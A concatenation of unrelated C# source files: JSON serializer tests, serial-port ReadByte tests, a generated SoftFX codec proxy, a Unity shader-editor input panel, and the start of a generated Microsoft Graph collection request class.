StringAssert.AreEqual(@"{{{ ""1ytreporP"": NULL!!! }}}", sw.ToString()); } [Test] public void QuoteDictionaryNames() { var d = new Dictionary<string, int> { { "a", 1 }, }; var jsonSerializerSettings = new JsonSerializerSettings { Formatting = Formatting.Indented, }; var serializer = JsonSerializer.Create(jsonSerializerSettings); using (var stringWriter = new StringWriter()) { using (var writer = new JsonTextWriter(stringWriter) { QuoteName = false }) { serializer.Serialize(writer, d); writer.Close(); } StringAssert.AreEqual(@"{ a: 1 }", stringWriter.ToString()); } } [Test] public void WriteComments() { string json = @"//comment*//*hi*/ {//comment Name://comment true//comment after true" + StringUtils.CarriageReturn + @" ,//comment after comma" + StringUtils.CarriageReturnLineFeed + @" ""ExpiryDate""://comment" + StringUtils.LineFeed + @" new " + StringUtils.LineFeed + @"Constructor (//comment null//comment ), ""Price"": 3.99, ""Sizes"": //comment [//comment ""Small""//comment ]//comment }//comment //comment 1 "; JsonTextReader r = new JsonTextReader(new StringReader(json)); StringWriter sw = new StringWriter(); JsonTextWriter w = new JsonTextWriter(sw); w.Formatting = Formatting.Indented; w.WriteToken(r, true); StringAssert.AreEqual(@"/*comment*//*hi*/*/{/*comment*/ ""Name"": /*comment*/ true/*comment after true*//*comment after comma*/, ""ExpiryDate"": /*comment*/ new Constructor( /*comment*/, null /*comment*/ ), ""Price"": 3.99, ""Sizes"": /*comment*/ [ /*comment*/ ""Small"" /*comment*/ ]/*comment*/ }/*comment *//*comment 1 */", sw.ToString()); } } public class CustomJsonTextWriter : JsonTextWriter { private readonly TextWriter _writer; public CustomJsonTextWriter(TextWriter textWriter) : base(textWriter) { _writer = textWriter; } public override void WritePropertyName(string name) { WritePropertyName(name, true); } public override void WritePropertyName(string name, bool escape) { SetWriteState(JsonToken.PropertyName, name); if (QuoteName) { _writer.Write(QuoteChar); } _writer.Write(new string(name.ToCharArray().Reverse().ToArray())); if (QuoteName) { _writer.Write(QuoteChar); } _writer.Write(':'); } public override void WriteNull() { SetWriteState(JsonToken.Null, null); _writer.Write("NULL!!!"); } public override void WriteStartObject() { SetWriteState(JsonToken.StartObject, null); _writer.Write("{{{"); } public override void WriteEndObject() { SetWriteState(JsonToken.EndObject, null); } protected override void WriteEnd(JsonToken token) { if (token == JsonToken.EndObject) { _writer.Write("}}}"); } else { base.WriteEnd(token); } } } #if !(PORTABLE || NETFX_CORE) public struct ConvertibleInt : IConvertible { private readonly int _value; public ConvertibleInt(int value) { _value = value; } public TypeCode GetTypeCode() { return TypeCode.Int32; } public bool ToBoolean(IFormatProvider provider) { throw new NotImplementedException(); } public byte ToByte(IFormatProvider provider) { throw new NotImplementedException(); } public char ToChar(IFormatProvider provider) { throw new NotImplementedException(); } public DateTime ToDateTime(IFormatProvider provider) { throw new NotImplementedException(); } public decimal ToDecimal(IFormatProvider provider) { throw new NotImplementedException(); } public double ToDouble(IFormatProvider provider) { throw new NotImplementedException(); } public short ToInt16(IFormatProvider provider) { throw new NotImplementedException(); } public int ToInt32(IFormatProvider provider) { throw new NotImplementedException(); } public long ToInt64(IFormatProvider provider) { throw new NotImplementedException(); } public sbyte ToSByte(IFormatProvider provider) { throw new NotImplementedException(); } public float ToSingle(IFormatProvider provider) { throw new NotImplementedException(); } public string ToString(IFormatProvider provider) { throw new NotImplementedException(); } public object ToType(Type conversionType, IFormatProvider provider) { if (conversionType == typeof(int)) { return _value; } throw new Exception("Type not supported: " + conversionType.FullName); } public ushort ToUInt16(IFormatProvider provider) { throw new NotImplementedException(); } public uint ToUInt32(IFormatProvider provider) { throw new NotImplementedException(); } public ulong ToUInt64(IFormatProvider provider) { throw new NotImplementedException(); } } #endif }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System.Diagnostics; using System.IO.PortsTests; using System.Text; using System.Threading; using System.Threading.Tasks; using Legacy.Support; using Xunit; using Microsoft.DotNet.XUnitExtensions; namespace System.IO.Ports.Tests { public class ReadByte_Generic : PortsTest { //Set bounds fore random timeout values. //If the min is to low read will not timeout accurately and the testcase will fail private const int minRandomTimeout = 250; //If the max is to large then the testcase will take forever to run private const int maxRandomTimeout = 2000; //If the percentage difference between the expected timeout and the actual timeout //found through Stopwatch is greater then 10% then the timeout value was not correctly //to the read method and the testcase fails. private static double s_maxPercentageDifference = .15; private const int NUM_TRYS = 5; //The number of random bytes to receive private const int numRndByte = 8; #region Test Cases [Fact] public void ReadWithoutOpen() { using (SerialPort com = new SerialPort()) { Debug.WriteLine("Verifying read method throws exception without a call to Open()"); VerifyReadException(com, typeof(InvalidOperationException)); } } [ConditionalFact(nameof(HasOneSerialPort))] public void ReadAfterFailedOpen() { using (SerialPort com = new SerialPort("BAD_PORT_NAME")) { Debug.WriteLine("Verifying read method throws exception with a failed call to Open()"); //Since the PortName is set to a bad port name Open will thrown an exception //however we don't care what it is since we are verifying a read method Assert.ThrowsAny<Exception>(() => com.Open()); VerifyReadException(com, typeof(InvalidOperationException)); } } [ConditionalFact(nameof(HasOneSerialPort))] public void ReadAfterClose() { using (SerialPort com = new SerialPort(TCSupport.LocalMachineSerialInfo.FirstAvailablePortName)) { Debug.WriteLine("Verifying read method throws exception after a call to Cloes()"); com.Open(); com.Close(); VerifyReadException(com, typeof(InvalidOperationException)); } } [Trait(XunitConstants.Category, XunitConstants.IgnoreForCI)] // Timing-sensitive [ConditionalFact(nameof(HasOneSerialPort))] public void Timeout() { using (SerialPort com = new SerialPort(TCSupport.LocalMachineSerialInfo.FirstAvailablePortName)) { Random rndGen = new Random(-55); com.ReadTimeout = rndGen.Next(minRandomTimeout, maxRandomTimeout); Debug.WriteLine("Verifying ReadTimeout={0}", com.ReadTimeout); com.Open(); VerifyTimeout(com); } } [Trait(XunitConstants.Category, XunitConstants.IgnoreForCI)] // Timing-sensitive [ConditionalFact(nameof(HasOneSerialPort))] public void SuccessiveReadTimeoutNoData() { using (SerialPort com = new SerialPort(TCSupport.LocalMachineSerialInfo.FirstAvailablePortName)) { Random rndGen = new Random(-55); com.ReadTimeout = rndGen.Next(minRandomTimeout, maxRandomTimeout); // com.Encoding = new System.Text.UTF7Encoding(); com.Encoding = Encoding.Unicode; Debug.WriteLine("Verifying ReadTimeout={0} with successive call to read method and no data", com.ReadTimeout); com.Open(); Assert.Throws<TimeoutException>(() => com.ReadByte()); VerifyTimeout(com); } } [ConditionalFact(nameof(HasNullModem))] public void SuccessiveReadTimeoutSomeData() { using (SerialPort com1 = new SerialPort(TCSupport.LocalMachineSerialInfo.FirstAvailablePortName)) { Random rndGen = new Random(-55); var t = new Task(WriteToCom1); com1.ReadTimeout = rndGen.Next(minRandomTimeout, maxRandomTimeout); com1.Encoding = new UTF8Encoding(); Debug.WriteLine("Verifying ReadTimeout={0} with successive call to read method and some data being received in the first call", com1.ReadTimeout); com1.Open(); //Call WriteToCom1 asynchronously this will write to com1 some time before the following call //to a read method times out t.Start(); try { com1.ReadByte(); } catch (TimeoutException) { } TCSupport.WaitForTaskCompletion(t); //Make sure there is no bytes in the buffer so the next call to read will timeout com1.DiscardInBuffer(); VerifyTimeout(com1); } } private void WriteToCom1() { using (SerialPort com2 = new SerialPort(TCSupport.LocalMachineSerialInfo.SecondAvailablePortName)) { Random rndGen = new Random(-55); byte[] xmitBuffer = new byte[1]; int sleepPeriod = rndGen.Next(minRandomTimeout, maxRandomTimeout / 2); //Sleep some random period with of a maximum duration of half the largest possible timeout value for a read method on COM1 Thread.Sleep(sleepPeriod); com2.Open(); com2.Write(xmitBuffer, 0, xmitBuffer.Length); } } [KnownFailure] [ConditionalFact(nameof(HasNullModem))] public void DefaultParityReplaceByte() { VerifyParityReplaceByte(-1, numRndByte - 2); } [KnownFailure] [ConditionalFact(nameof(HasNullModem))] public void NoParityReplaceByte() { Random rndGen = new Random(-55); // if (!VerifyParityReplaceByte((int)'\0', rndGen.Next(0, numRndByte - 1), new System.Text.UTF7Encoding())){ VerifyParityReplaceByte('\0', rndGen.Next(0, numRndByte - 1), new UTF32Encoding()); } [KnownFailure] [ConditionalFact(nameof(HasNullModem))] public void RNDParityReplaceByte() { Random rndGen = new Random(-55); VerifyParityReplaceByte(rndGen.Next(0, 128), 0, new UTF8Encoding()); } [KnownFailure] [ConditionalFact(nameof(HasNullModem))] public void ParityErrorOnLastByte() { using (SerialPort com1 = new SerialPort(TCSupport.LocalMachineSerialInfo.FirstAvailablePortName)) using (SerialPort com2 = new SerialPort(TCSupport.LocalMachineSerialInfo.SecondAvailablePortName)) { Random rndGen = new Random(15); byte[] bytesToWrite = new byte[numRndByte]; byte[] expectedBytes = new byte[numRndByte]; byte[] actualBytes = new byte[numRndByte + 1]; int actualByteIndex = 0; /* 1 Additional character gets added to the input buffer when the parity error occurs on the last byte of a stream We are verifying that besides this everything gets read in correctly. See NDP Whidbey: 24216 for more info on this */ Debug.WriteLine("Verifying default ParityReplace byte with a parity error on the last byte"); //Genrate random characters without an parity error for (int i = 0; i < bytesToWrite.Length; i++) { byte randByte = (byte)rndGen.Next(0, 128); bytesToWrite[i] = randByte; expectedBytes[i] = randByte; } bytesToWrite[bytesToWrite.Length - 1] = (byte)(bytesToWrite[bytesToWrite.Length - 1] | 0x80); //Create a parity error on the last byte expectedBytes[expectedBytes.Length - 1] = com1.ParityReplace; // Set the last expected byte to be the ParityReplace Byte com1.Parity = Parity.Space; com1.DataBits = 7; com1.ReadTimeout = 250; com1.Open(); com2.Open(); com2.Write(bytesToWrite, 0, bytesToWrite.Length); TCSupport.WaitForReadBufferToLoad(com1, bytesToWrite.Length + 1); while (true) { int byteRead; try { byteRead = com1.ReadByte(); } catch (TimeoutException) { break; } actualBytes[actualByteIndex] = (byte)byteRead; actualByteIndex++; } //Compare the chars that were written with the ones we expected to read for (int i = 0; i < expectedBytes.Length; i++) { if (expectedBytes[i] != actualBytes[i]) { Fail("ERROR!!!: Expected to read {0} actual read {1}", (int)expectedBytes[i], (int)actualBytes[i]); } } if (1 < com1.BytesToRead) { Debug.WriteLine("ByteRead={0}, {1}", com1.ReadByte(), bytesToWrite[bytesToWrite.Length - 1]); Fail("ERROR!!!: Expected BytesToRead=0 actual={0}", com1.BytesToRead); } bytesToWrite[bytesToWrite.Length - 1] = (byte)(bytesToWrite[bytesToWrite.Length - 1] & 0x7F); //Clear the parity error on the last byte expectedBytes[expectedBytes.Length - 1] = bytesToWrite[bytesToWrite.Length - 1]; VerifyRead(com1, com2, bytesToWrite, expectedBytes, Encoding.ASCII); } } #endregion #region Verification for Test Cases private void VerifyTimeout(SerialPort com) { Stopwatch timer = new Stopwatch(); int expectedTime = com.ReadTimeout; int actualTime = 0; double percentageDifference; //Warm up read method Assert.Throws<TimeoutException>(() => com.ReadByte()); Thread.CurrentThread.Priority = ThreadPriority.Highest; for (int i = 0; i < NUM_TRYS; i++) { timer.Start(); Assert.Throws<TimeoutException>(() => com.ReadByte()); timer.Stop(); actualTime += (int)timer.ElapsedMilliseconds; timer.Reset(); } Thread.CurrentThread.Priority = ThreadPriority.Normal; actualTime /= NUM_TRYS; percentageDifference = Math.Abs((expectedTime - actualTime) / (double)expectedTime); //Verify that the percentage difference between the expected and actual timeout is less then maxPercentageDifference if (s_maxPercentageDifference < percentageDifference) { Fail("ERROR!!!: The read method timed-out in {0} expected {1} percentage difference: {2}", actualTime, expectedTime, percentageDifference); } } private void VerifyReadException(SerialPort com, Type expectedException) { Assert.Throws(expectedException, () => com.ReadByte()); } private void VerifyParityReplaceByte(int parityReplace, int parityErrorIndex) { VerifyParityReplaceByte(parityReplace, parityErrorIndex, new ASCIIEncoding()); } private void VerifyParityReplaceByte(int parityReplace, int parityErrorIndex, Encoding encoding) { using (SerialPort com1 = new SerialPort(TCSupport.LocalMachineSerialInfo.FirstAvailablePortName)) using (SerialPort com2 = new SerialPort(TCSupport.LocalMachineSerialInfo.SecondAvailablePortName)) { Random rndGen = new Random(-55); byte[] byteBuffer = new byte[numRndByte]; byte[] expectedBytes = new byte[numRndByte]; int expectedChar; //Genrate random bytes without an parity error for (int i = 0; i < byteBuffer.Length; i++) { int randChar = rndGen.Next(0, 128); byteBuffer[i] = (byte)randChar; expectedBytes[i] = (byte)randChar; } if (-1 == parityReplace) { //If parityReplace is -1 and we should just use the default value expectedChar = com1.ParityReplace; } else if ('\0' == parityReplace) { //If parityReplace is the null charachater and parity replacement should not occur com1.ParityReplace = (byte)parityReplace; expectedChar = expectedBytes[parityErrorIndex]; } else { //Else parityReplace was set to a value and we should expect this value to be returned on a parity error com1.ParityReplace = (byte)parityReplace; expectedChar = parityReplace; } //Create an parity error by setting the highest order bit to true byteBuffer[parityErrorIndex] = (byte)(byteBuffer[parityErrorIndex] | 0x80); expectedBytes[parityErrorIndex] = (byte)expectedChar; Debug.WriteLine("Verifying ParityReplace={0} with an ParityError at: {1} ", com1.ParityReplace, parityErrorIndex); com1.Parity = Parity.Space; com1.DataBits = 7; com1.Open(); com2.Open(); VerifyRead(com1, com2, byteBuffer, expectedBytes, encoding); } } private void VerifyRead(SerialPort com1, SerialPort com2, byte[] bytesToWrite, byte[] expectedBytes, Encoding encoding) { byte[] byteRcvBuffer = new byte[expectedBytes.Length]; int rcvBufferSize = 0; int i; com2.Write(bytesToWrite, 0, bytesToWrite.Length); com1.ReadTimeout = 250; com1.Encoding = encoding; TCSupport.WaitForReadBufferToLoad(com1, bytesToWrite.Length); i = 0; while (true) { int readInt; try { readInt = com1.ReadByte(); } catch (TimeoutException) { break; } //While their are more bytes to be read if (expectedBytes.Length <= i) { //If we have read in more bytes then we expecte Fail("ERROR!!!: We have received more bytes then were sent"); } byteRcvBuffer[i] = (byte)readInt; rcvBufferSize++; if (bytesToWrite.Length - rcvBufferSize != com1.BytesToRead) { Fail("ERROR!!!: Expected BytesToRead={0} actual={1}", bytesToWrite.Length - rcvBufferSize, com1.BytesToRead); } if (readInt != expectedBytes[i]) { //If the bytes read is not the expected byte Fail("ERROR!!!: Expected to read {0} actual read byte {1}", expectedBytes[i], (byte)readInt); } i++; } if (rcvBufferSize != expectedBytes.Length) { Fail("ERROR!!! Expected to read {0} char actually read {1} chars", bytesToWrite.Length, rcvBufferSize); } } #endregion } }
// This is always generated file. Do not change anything. using SoftFX.Lrp; namespace SoftFX.Internal.Generated.LrpProvider { internal class LrpCodecRaw { private readonly IClient m_client; public LrpCodecRaw(IClient client) { if(null == client) { throw new System.ArgumentNullException("client", "Client argument can not be null"); } m_client = client; } public bool IsSupported { get { return m_client.IsSupported(0); } } public bool Is_Constructor_Supported { get { return m_client.IsSupported(0, 0); } } public SoftFX.Lrp.LPtr Constructor() { using(MemoryBuffer buffer = m_client.Create()) { int _status = m_client.Invoke(0, 0, buffer); TypesSerializer.Throw(_status, buffer); var _result = buffer.ReadLocalPointer(); return _result; } } public bool Is_Destructor_Supported { get { return m_client.IsSupported(0, 1); } } public void Destructor(SoftFX.Lrp.LPtr handle) { using(MemoryBuffer buffer = m_client.Create()) { buffer.WriteLocalPointer(handle); int _status = m_client.Invoke(0, 1, buffer); TypesSerializer.Throw(_status, buffer); } } public bool Is_GetCount_Supported { get { return m_client.IsSupported(0, 2); } } public long GetCount(SoftFX.Lrp.LPtr handle) { using(MemoryBuffer buffer = m_client.Create()) { buffer.WriteLocalPointer(handle); int _status = m_client.Invoke(0, 2, buffer); TypesSerializer.Throw(_status, buffer); var _result = buffer.ReadInt64(); return _result; } } public bool Is_GetSize_Supported { get { return m_client.IsSupported(0, 3); } } public long GetSize(SoftFX.Lrp.LPtr handle) { using(MemoryBuffer buffer = m_client.Create()) { buffer.WriteLocalPointer(handle); int _status = m_client.Invoke(0, 3, buffer); TypesSerializer.Throw(_status, buffer); var _result = buffer.ReadInt64(); return _result; } } public bool Is_GetTime_Supported { get { return m_client.IsSupported(0, 4); } } public double GetTime(SoftFX.Lrp.LPtr handle) { using(MemoryBuffer buffer = m_client.Create()) { buffer.WriteLocalPointer(handle); int _status = m_client.Invoke(0, 4, buffer); TypesSerializer.Throw(_status, buffer); var _result = buffer.ReadDouble(); return _result; } } public bool Is_EncodeRaw_Supported { get { return m_client.IsSupported(0, 5); } } public void EncodeRaw(SoftFX.Lrp.LPtr handle, SoftFX.Extended.Quote[] quotes) { using(MemoryBuffer buffer = m_client.Create()) { buffer.WriteLocalPointer(handle); buffer.WriteQuoteArray(quotes); int _status = m_client.Invoke(0, 5, buffer); TypesSerializer.Throw(_status, buffer); } } public bool Is_EncodeSlow_Supported { get { return m_client.IsSupported(0, 6); } } public void EncodeSlow(SoftFX.Lrp.LPtr handle, SoftFX.Extended.Quote[] quotes) { using(MemoryBuffer buffer = m_client.Create()) { buffer.WriteLocalPointer(handle); buffer.WriteQuoteArray(quotes); int _status = m_client.Invoke(0, 6, buffer); TypesSerializer.Throw(_status, buffer); } } public bool Is_EncodeFast_Supported { get { return m_client.IsSupported(0, 7); } } public void EncodeFast(SoftFX.Lrp.LPtr handle, uint precision, double volumeStep, SoftFX.Extended.Quote[] quotes) { using(MemoryBuffer buffer = m_client.Create()) { buffer.WriteLocalPointer(handle); buffer.WriteUInt32(precision); buffer.WriteDouble(volumeStep); buffer.WriteQuoteArray(quotes); int _status = m_client.Invoke(0, 7, buffer); TypesSerializer.Throw(_status, buffer); } } public bool Is_Clear_Supported { get { return m_client.IsSupported(0, 8); } } public void Clear(SoftFX.Lrp.LPtr handle) { using(MemoryBuffer buffer = m_client.Create()) { buffer.WriteLocalPointer(handle); int _status = m_client.Invoke(0, 8, buffer); TypesSerializer.Throw(_status, buffer); } } } } namespace SoftFX.Internal.Generated.LrpProvider { internal class LrpCodecProxy : System.IDisposable { public LrpCodecRaw Instance { get; private set; } public LPtr Handle { get; private set; } public bool IsSupported { get { return this.Instance.IsSupported; } } internal LrpCodecProxy(LocalClient client, LPtr handle) { this.Instance = new LrpCodecRaw(client); this.Handle = handle; } public bool Is_Constructor_Supported { get { return this.Instance.Is_Constructor_Supported; } } public LrpCodecProxy(LocalClient client) { this.Instance = new LrpCodecRaw(client); this.Handle = this.Instance.Constructor(); } public bool Is_Destructor_Supported { get { return this.Instance.Is_Destructor_Supported; } } public void Dispose() { if(!this.Handle.IsZero) { this.Instance.Destructor(this.Handle); this.Handle.Clear(); } } public bool Is_GetCount_Supported { get { return this.Instance.Is_GetCount_Supported; } } public long GetCount() { return this.Instance.GetCount(this.Handle); } public bool Is_GetSize_Supported { get { return this.Instance.Is_GetSize_Supported; } } public long GetSize() { return this.Instance.GetSize(this.Handle); } public bool Is_GetTime_Supported { get { return this.Instance.Is_GetTime_Supported; } } public double GetTime() { return this.Instance.GetTime(this.Handle); } public bool Is_EncodeRaw_Supported { get { return this.Instance.Is_EncodeRaw_Supported; } } public void EncodeRaw(SoftFX.Extended.Quote[] quotes) { this.Instance.EncodeRaw(this.Handle, quotes); } public bool Is_EncodeSlow_Supported { get { return this.Instance.Is_EncodeSlow_Supported; } } public void EncodeSlow(SoftFX.Extended.Quote[] quotes) { this.Instance.EncodeSlow(this.Handle, quotes); } public bool Is_EncodeFast_Supported { get { return this.Instance.Is_EncodeFast_Supported; } } public void EncodeFast(uint precision, double volumeStep, SoftFX.Extended.Quote[] quotes) { this.Instance.EncodeFast(this.Handle, precision, volumeStep, quotes); } public bool Is_Clear_Supported { get { return this.Instance.Is_Clear_Supported; } } public void Clear() { this.Instance.Clear(this.Handle); } } }
using UnityEngine; using UnityEditor; using System.Collections; using System.Collections.Generic; using System.Runtime.Serialization; using System.Linq; namespace StrumpyShaderEditor { [DataContract(Namespace = "http://strumpy.net/ShaderEditor/")] public class ShaderInputs { [DataMember] public List<ShaderProperty> _shaderProperties; public void Initialize() { _shaderProperties = _shaderProperties ?? new List<ShaderProperty>(); foreach( var prop in _shaderProperties ) { prop.Initialize(); } } public bool InputsValid() { foreach( var property in _shaderProperties ) { if( _shaderProperties.Where( x=> x.PropertyName == property.PropertyName ).Count() > 1 ) { return false; } } return _shaderProperties.All( x => x.IsValid() ); } public IEnumerable<ShaderProperty> FindValidProperties( InputType type ) { return from property in _shaderProperties where property.GetPropertyType() == type select property; } public IEnumerable<ShaderProperty> GetProperties( ) { return _shaderProperties; } public string GetInputProperties() { var result = ""; foreach( var propery in _shaderProperties ) { result += propery.GetPropertyDefinition(); } return result; } public string GetInputVariables() { var result = ""; foreach( var propery in _shaderProperties ) { result += propery.GetVariableDefinition(); } return result; } public int AddProperty( ShaderProperty p ) { var propertyIds = from property in _shaderProperties orderby property.PropertyId select property.PropertyId; int nextId = 0; while ( propertyIds.Contains (nextId)) { ++nextId; } p.PropertyId = nextId; _shaderProperties.Add( p ); return p.PropertyId; } GUIContent _upIcon; GUIContent _downIcon; GUIContent _removeIcon; public void Draw() { if( GUILayout.Button( "Add New Input..." ) ) { var menu = new GenericMenu(); menu.AddItem( new GUIContent( "Color Property" ), false, AddInputProperty, new ColorProperty() ); menu.AddItem( new GUIContent( "Float4 Property" ), false, AddInputProperty, new Float4Property() ); menu.AddItem( new GUIContent( "Float Property" ), false, AddInputProperty, new FloatProperty() ); menu.AddItem( new GUIContent( "Range Property" ), false, AddInputProperty, new RangeProperty() ); menu.AddItem( new GUIContent( "Texture 2D Property" ), false, AddInputProperty, new Texture2DProperty() ); menu.AddItem( new GUIContent( "Texture Cube Property" ), false, AddInputProperty, new TextureCubeProperty() ); menu.AddItem( new GUIContent( "Matrix Property" ), false, AddInputProperty, new MatrixProperty() ); menu.AddItem( new GUIContent( "Unity/Main Color"), false, AddInputProperty, new ColorProperty(){ PropertyName = "_Color", PropertyDescription = "Main Color", Color = new Color( 1f,1f,1f,1f ) } ); menu.AddItem( new GUIContent( "Unity/Main Texture"), false, AddInputProperty, new Texture2DProperty(){ PropertyName = "_MainTex", PropertyDescription = "Base (RGB) Gloss (A)", _defaultTexture = DefaultTextureType.White } ); menu.AddItem( new GUIContent( "Unity/Shininess"), false, AddInputProperty, new RangeProperty(){ PropertyName = "_Shininess", PropertyDescription = "Shininess", Range = new EditorRange(0.01f, 1.0f, 0.078125f ) } ); menu.AddItem( new GUIContent( "Unity/Bump Map"), false, AddInputProperty, new Texture2DProperty(){ PropertyName = "_BumpMap", PropertyDescription = "Normalmap", _defaultTexture = DefaultTextureType.Bump } ); menu.AddItem( new GUIContent( "Unity/Detail"), false, AddInputProperty, new Texture2DProperty(){ PropertyName = "_Detail", PropertyDescription = "Detail (RGB)", _defaultTexture = DefaultTextureType.Gray } ); menu.AddItem( new GUIContent( "Unity/Parallax"), false, AddInputProperty, new RangeProperty(){ PropertyName = "_Parallax", PropertyDescription = "Height", Range = new EditorRange( 0.005f, 0.08f, 0.02f ) } ); menu.AddItem( new GUIContent( "Unity/Parallax Map"), false, AddInputProperty, new Texture2DProperty(){ PropertyName = "_ParallaxMap", PropertyDescription = "Heightmap (A)", _defaultTexture = DefaultTextureType.Black } ); menu.AddItem( new GUIContent( "Unity/Reflection Color"), false, AddInputProperty, new ColorProperty(){ PropertyName = "_ReflectColor", PropertyDescription = "Reflection Color", Color = new Color(1f,1f,1f,0.5f) } ); menu.AddItem( new GUIContent( "Unity/Reflection Cubemap"), false, AddInputProperty, new TextureCubeProperty(){ PropertyName = "_Cube", PropertyDescription = "Reflection Cubemap", _defaultTexture = DefaultTextureType.Black } ); menu.AddItem( new GUIContent( "Unity/Emission (Lightmapper)"), false, AddInputProperty, new FloatProperty(){ PropertyName = "_EmissionLM", PropertyDescription = "Emission (Lightmapper)", Float = 0.0f } ); menu.ShowAsContext(); } ShaderProperty moveUpItem = null; ShaderProperty moveDownItem = null; ShaderProperty deleteItem = null; _upIcon =_upIcon ?? new GUIContent( Resources.Load("Internal/Up", typeof(Texture2D)) as Texture2D ); _downIcon =_downIcon ?? new GUIContent( Resources.Load("Internal/Down", typeof(Texture2D)) as Texture2D ); _removeIcon =_removeIcon ?? new GUIContent( Resources.Load("Internal/Delete", typeof(Texture2D)) as Texture2D ); foreach( var property in _shaderProperties ) { GUILayout.BeginVertical(); GUILayout.BeginHorizontal( ); var oldColor = GUI.color; if( _shaderProperties.Where( x=> x.PropertyName == property.PropertyName ).Count() > 1 || !property.IsValid() ) { GUI.color = Color.red; } property.Expanded = EditorGUILayout.Foldout( property.Expanded, property.GetPropertyType().PropertyTypeString() ); property.PropertyName = GUILayout.TextField( property.PropertyName, new[] { GUILayout.Width (130)} ); GUI.color = oldColor; GUILayout.FlexibleSpace(); if( GUILayout.Button(_upIcon, GUILayout.Width( 21 ), GUILayout.Height( 21 ) ) ) { moveUpItem = property; } if( GUILayout.Button(_downIcon, GUILayout.Width( 21 ), GUILayout.Height( 21 ) ) ) { moveDownItem = property; } if( GUILayout.Button(_removeIcon, GUILayout.Width( 21 ), GUILayout.Height( 21 ) ) ) { deleteItem = property; } GUILayout.EndHorizontal(); if( property.Expanded ) { GUILayout.Space( 3 ); GUILayout.BeginHorizontal(); GUILayout.Label( "Description", new[] { GUILayout.Width (69)} ); property.PropertyDescriptionDisplay = GUILayout.TextField( property.PropertyDescriptionDisplay ); GUILayout.EndHorizontal(); GUILayout.BeginHorizontal(); GUILayout.Space( 10 ); property.Draw(); GUILayout.EndHorizontal(); } GUILayout.EndVertical(); GUILayout.Space( 10 ); } if( moveUpItem != null ) { var currentPosition = _shaderProperties.IndexOf( moveUpItem ); if( currentPosition > 0 ) { _shaderProperties.Remove( moveUpItem ); _shaderProperties.Insert( currentPosition - 1, moveUpItem ); } } else if( moveDownItem != null ) { var currentPosition = _shaderProperties.IndexOf( moveDownItem ); if( currentPosition < _shaderProperties.Count - 1 ) { _shaderProperties.Remove( moveDownItem ); _shaderProperties.Insert( currentPosition + 1, moveDownItem ); } } else if( deleteItem != null ) { _shaderProperties.Remove( deleteItem ); } } private void AddInputProperty( object objProperty ) { var inputProperty = objProperty as ShaderProperty; if( inputProperty != null ) { var propertyIds = from property in _shaderProperties orderby property.PropertyId select property.PropertyId; int nextId = 0; while ( propertyIds.Contains (nextId)) { ++nextId; } inputProperty.PropertyId = nextId; _shaderProperties.Add( inputProperty ); } } } }
// ------------------------------------------------------------------------------ // Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information. // ------------------------------------------------------------------------------ // **NOTE** This file was generated by a tool and any changes will be overwritten. // Template Source: Templates\CSharp\Requests\EntityCollectionRequest.cs.tt namespace Microsoft.Graph { using System; using System.Collections.Generic; using System.Net.Http; using System.Threading; using System.Linq.Expressions; /// <summary> /// The type WorkbookWorksheetTablesCollectionRequest. /// </summary> public partial class WorkbookWorksheetTablesCollectionRequest : BaseRequest, IWorkbookWorksheetTablesCollectionRequest { /// <summary> /// Constructs a new WorkbookWorksheetTablesCollectionRequest. /// </summary> /// <param name="requestUrl">The URL for the built request.</param> /// <param name="client">The <see cref="IBaseClient"/> for handling requests.</param> /// <param name="options">Query and header option name value pairs for the request.</param> public WorkbookWorksheetTablesCollectionRequest( string requestUrl, IBaseClient client, IEnumerable<Option> options) : base(requestUrl, client, options) { } /// <summary> /// Adds the specified WorkbookTable to the collection via POST. /// </summary> /// <param name="workbookTable">The WorkbookTable to add.</param> /// <returns>The created WorkbookTable.</returns> public System.Threading.Tasks.Task<WorkbookTable> AddAsync(WorkbookTable workbookTable) { return this.AddAsync(workbookTable, CancellationToken.None); } /// <summary> /// Adds the specified WorkbookTable to the collection via POST. /// </summary> /// <param name="workbookTable">The WorkbookTable to add.</param> /// <param name="cancellationToken">The <see cref="CancellationToken"/> for the request.</param> /// <returns>The created WorkbookTable.</returns> public System.Threading.Tasks.Task<WorkbookTable> AddAsync(WorkbookTable workbookTable, CancellationToken cancellationToken) { this.ContentType = "application/json"; this.Method = "POST"; return this.SendAsync<WorkbookTable>(workbookTable, cancellationToken); } /// <summary> /// Gets the collection page. /// </summary> /// <returns>The collection page.</returns> public System.Threading.Tasks.Task<IWorkbookWorksheetTablesCollectionPage> GetAsync() { return this.GetAsync(CancellationToken.None); } /// <summary> /// Gets the collection page. /// </summary> /// <param name="cancellationToken">The <see cref="CancellationToken"/> for the request.</param> /// <returns>The collection page.</returns> public async System.Threading.Tasks.Task<IWorkbookWorksheetTablesCollectionPage> GetAsync(CancellationToken cancellationToken) { this.Method = "GET"; var response = await this.SendAsync<WorkbookWorksheetTablesCollectionResponse>(null, cancellationToken).ConfigureAwait(false); if (response != null && response.Value != null && response.Value.CurrentPage != null) { if (response.AdditionalData != null) { object nextPageLink; response.AdditionalData.TryGetValue("@odata.nextLink", out nextPageLink); var nextPageLinkString = nextPageLink as string; if (!string.IsNullOrEmpty(nextPageLinkString)) { response.Value.InitializeNextPageRequest( this.Client, nextPageLinkString); } // Copy the additional data collection to the page itself so that information is not lost response.Value.AdditionalData = response.AdditionalData; } return response.Value; } return null; } /// <summary> /// Adds the specified expand value to the request. /// </summary> /// <param name="value">The expand value.</param> /// <returns>The request object to send.</returns> public IWorkbookWorksheetTablesCollectionRequest Expand(string value) { this.QueryOptions.Add(new QueryOption("$expand", value)); return this; } /// <summary> /// Adds the specified expand value to the request. /// </summary> /// <param name="expandExpression">The expression from which to calculate the expand value.</param> /// <returns>The request object to send.</returns> public IWorkbookWorksheetTablesCollectionRequest Expand(Expression<Func<WorkbookTable, object>> expandExpression) { if (expandExpression == null) { throw new ArgumentNullException(nameof(expandExpression)); } string error; string value = ExpressionExtractHelper.ExtractMembers(expandExpression, out error); if (value == null) { throw new ArgumentException(error, nameof(expandExpression)); } else { this.QueryOptions.Add(new QueryOption("$expand", value)); } return this; } /// <summary> /// Adds the specified select value to the request. /// </summary> /// <param name="value">The select value.</param> /// <returns>The request object to send.</returns> public IWorkbookWorksheetTablesCollectionRequest Select(string value) { this.QueryOptions.Add(new QueryOption("$select", value)); return this; } /// <summary> /// Adds the specified select value to the request. /// </summary> /// <param name="selectExpression">The expression from which to 